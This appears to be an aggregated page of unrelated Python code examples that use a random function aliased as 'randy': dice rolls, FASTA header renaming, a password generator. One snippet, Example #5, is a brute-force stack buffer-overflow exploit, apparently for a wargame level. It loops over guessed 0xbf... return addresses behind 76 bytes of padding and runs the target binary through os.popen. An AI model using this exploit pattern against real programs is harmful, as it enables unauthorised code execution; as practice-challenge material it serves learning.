Example #1
0
def roll_baby_roll(left, size):
    if left < 1:
        return 0
    elif left == 1:
        return randy(1, size)
    else:
        return roll_baby_roll(left - 1, size) + randy(1, size)
def main(argh):

    filename = argh[1]
    handle = open(filename)

    
    for record in Fasta(handle, 'fasta'):
        name = randy(0, 18446744073709552000)
        record.header = name
        print '%s' % record,
Example #3
0
def main():
    # Get random integer from 0 to 1
    i = randy(0, 1)
    total = 0

    # Use the random number to determine which way to solve the problem.
    if i == 0:
        total = rightWay()
    else:
        total = longWay()

    print 'The sum of the array elements is ' + str(total)
Example #4
0
	def newPwd(self, length, strength):

		rand = randy()

		alphabet = digits

		if strength > 0:
			alphabet += ascii_uppercase[0:6]
			if strength > 1:
				alphabet += ascii_uppercase[6:26]
				if strength > 2:
					alphabet += ascii_lowercase
					if strength > 3:
						alphabet += punctuation


		self.entropy = self.entropyOfPwd(len(alphabet), length)

		return str().join(rand.choice(alphabet) for x in range(length))
Example #5
0
#!/usr/bin/env python
# -*- coding: utf-8 -*- 
#0xbfXXXe56

from random import randrange as randy

hex_string = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"]

padding = "\\x42" * 76
progpath = "~/level"
import os
import subprocess

while True:
  ca = randy(0,15)
  cb = randy(0,15)
  cc = randy(0,15)
  sentence = "\\x6e\\x%s7\\x%s%s\\xbf" % (hex_string[ca],hex_string[cc],    hex_string[cb])
  #print sentence
  print "0xbf%s%s%s76e" % (hex_string[cc],hex_string[cb],hex_string[ca])
  #sentence = padding + sentence
  #print os.popen("echo $(python -c 'print \""+sentence+"\"')").read().strip(' \t\n\r')
  sentence = padding + sentence
  print os.popen( progpath +" $( python -c 'print  \""+sentence+"\"' )" ).read().strip(' \t\n\r')
def roll_baby_roll(left, size):
    for i in range(left):
        yield i, randy(1, size)